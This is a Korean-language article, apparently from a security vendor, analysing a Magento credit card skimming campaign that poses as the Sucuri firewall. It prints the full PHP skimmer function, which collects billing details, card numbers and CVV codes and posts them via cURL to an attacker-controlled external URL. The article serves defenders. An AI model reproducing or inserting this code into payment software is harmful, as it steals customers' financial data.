Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

Sucuri를 사칭하는 신용 ​​카드 스키머, Magento 매장이 표적이 되고 CC 데이터가 도용됨

전 세계적으로 COVID-19 잠금 조치와 임박한 BFCM 및 크리스마스 할인 판매로 인해 온라인 쇼핑이 올해 계속해서 급증하고 있으며 이에 따라 디지털 신용 카드 스키머 공격이 발생했습니다.

Telegram 악성 코드 캠페인에 대한 최근 보고서에 이어 Astra Security의 보안 연구원은 보안 회사 'Sucuri'를 사칭하여 감염된 전자 상거래 상점에서 중요한 고객 정보를 훔치는 또 다른 진행 중인 신용 카드 스키밍 악성 코드 캠페인을 발견했습니다. 그러나 Magento 매장을 대상으로 하는 이 멀웨어를 추적했지만 Prestashop, OpenCart 및 WooCommerce와 같은 다른 CMS에서도 멀웨어의 일부 흔적이 발견되었습니다.

디지털 신용 카드 스키밍 공격이란 무엇입니까?

디지털 신용 카드 스키밍 공격은 해커가 악성 JavaScript 코드를 웹 사이트 또는 전자 상거래 상점에 삽입하여 악성 코드에 감염시키고 궁극적으로 웹 사이트 방문자/고객의 자격 증명 및 민감한 결제 정보를 훔치는 웹 기반 스키밍 공격입니다. 이러한 디지털 스키머의 악성코드는 대부분 사이트의 결제 페이지에 있는 사용자 입력 양식에 심어 져 사용자 입력을 스니핑하거나 가짜 결제 양식으로 iframe을 만들어 고객의 신용 카드 정보를 도용합니다.

디지털 스키밍은 British Airways, Macy's, Forbes, NewEgg 및 Ticketmaster와 같은 유명 브랜드를 포함하여 현재까지 수십만 개의 웹사이트에 영향을 미쳤습니다.

Magento 신용 카드 스키밍 멀웨어의 증상

  1. 신용카드를 매장에서 사용한 후 확인되지 않은 거래에 대해 불평하는 고객
  2. 결제 제공업체/은행에서 매장 결제 게이트웨이의 보안에 대해 경고하는 이메일입니다.
  3. 확인할 수 없는 매장에 추가 결제 수단이 추가되었습니다.
  4. Sucuri라는 이름의 제품을 사용하지 않음에도 웹사이트에 추가된 'Sucuri'라는 용어가 포함된 코드입니다.

해커가 상점을 표적으로 삼고 Sucuri 방화벽을 사칭하여 사용자가 결제 정보를 제공하도록 속이는 방법

이 맬웨어 캠페인을 분석하는 동안 우리 연구팀은 해커가 전자 상거래 웹사이트(대부분 Magneto 매장)에 이 신용 카드 스키밍 맬웨어를 적극적으로 심고 사이트 방문자나 구매자가 결제 중에 민감한 정보를 입력하도록 속이고 있음을 발견했습니다. 악성 신용 카드 스키머 코드는 /app/code/core/Mage/Payment/Model/Method/Cc.php 파일 위치에 있습니다. 감염된 사이트.

여기에 공격자가 $this->sucuri_encrypted(); 기능을 추가하고 있습니다. 이를 통해 결제 과정에서 사용자가 입력한 데이터를 추출할 수 있습니다. 추출된 데이터는 https://www.thebrandstore.gr/js/i.php로 전송됩니다.

도난당한 데이터에는 이름, 성, 주소, 전화번호, 신용카드 정보 등 고객의 민감한 정보가 포함되어 있습니다.

다음은 공격자가 사용하는 이 맬웨어 캠페인에 사용된 코드 샘플입니다.

function sucuri_encrypted()
 {
 $info = $this->getInfoInstance();
 $object = new Mage_Checkout_Block_Onepage_Billing;
 $address1 = $object->getQuote()->getBillingAddress();
 $data1 = $address1->getFirstname();
 $data2 = $address1->getLastname();
 $data3 = $address1->getStreet(1);
 $data4 = $address1->getStreet(2);
 $data5 = $address1->getCity();
 $data6 = $address1->getRegion();
 $data7 = $address1->getPostcode();
 $data8 = $address1->getCountry();
 $data9 = $address1->getTelephone();
 $data10 = $info->getCcNumber();
 $expyear = substr($info->getCcExpYear(), -2);
 $expmonth = $info->getCcExpMonth();
 if (strlen($expmonth) == 1) {
 $expmonth = '0'.$expmonth;
 };
 $data11 = $expmonth;
 $data12 = $expyear;
 $data13 = $info->getCcCid();
 $data15 = $_SERVER['SERVER_NAME'];
 $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
//create array of data to be secured
$sucuri_firewall['firstname'] = base64_encode($data1);
$sucuri_firewall['lastname'] = base64_encode($data2);
$sucuri_firewall['address'] = base64_encode($data3);
$sucuri_firewall['address2'] = base64_encode($data4);
$sucuri_firewall['city'] = base64_encode($data5);
$sucuri_firewall['state'] = base64_encode($data6);
$sucuri_firewall['zip'] = base64_encode($data7);
$sucuri_firewall['country'] = base64_encode($data8);
$sucuri_firewall['phone'] = base64_encode($data9);
$sucuri_firewall['cc'] = base64_encode($data10);
$sucuri_firewall['exp'] = base64_encode($data11);
$sucuri_firewall['expyear'] = base64_encode($data12);
$sucuri_firewall['cvv'] = base64_encode($data13);
$sucuri_firewall['email'] = base64_encode($data16);
$sucuri_firewall['dari'] = base64_encode($data15);
$sucuri_firewall['submit'] = 'Submit';
//traverse array and prepare data for posting (key1=value1)
foreach ( $sucuri_firewall as $key => $value) {
 $post_items[] = $key . '=' . $value;
}
//create the final string to be posted using implode()
$post_string = implode ('&', $post_items);
//create cURL connection
$curl_connection = curl_init('https://www.thebrandstore.gr/js/i.php');
//set options
curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($curl_connection, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1);
//set data to be posted
curl_setopt($curl_connection, CURLOPT_POSTFIELDS, $post_string);
//perform our request
$result = curl_exec($curl_connection);
curl_close($curl_connection);
}
}
}.

위의 코드에서 볼 수 있듯이 신용 카드 정보 도용자는 $this->sucuri_encrypted()이라는 함수를 추가합니다.; 가장된 Sucuri 방화벽 코드를 표시합니다.

이 악성코드로부터 전자상거래 상점을 보호하는 방법

이 악성코드에 감염된 전자상거래 웹사이트 또는 상점은 고객의 민감한 정보가 여기에서 도난당하고 합법적인 주문이 이루어지지 않거나 지불이 이루어지지 않아 고객 신뢰는 물론 수익에 막대한 손실을 입힐 수 있습니다. 따라서 사이트 소유자는 이러한 종류의 신용 카드 스키머 및 기타 맬웨어 캠페인으로부터 사이트 및 고객 데이터를 보호하기 위해 사전 보안 조치를 구현해야 합니다.

Astra Security의 애플리케이션 방화벽을 사용하는 경우 전자 상거래 상점은 이 공격 및 SQLi, XSS, CSRF, LFI, RFI, 신용 카드 해킹, 스팸, 악성 봇 등과 같은 기타 사이버 공격 및 취약성으로부터 이미 보호됩니다. 또한, 보안 전문가들은 웹사이트의 안전을 위한 핵심 보안 조치로 정기적인 맬웨어 검사를 오랫동안 권장해 왔습니다. 이제 웹사이트를 항상 보호할 수 있는 적절한 보안 조치를 취해야 할 때입니다.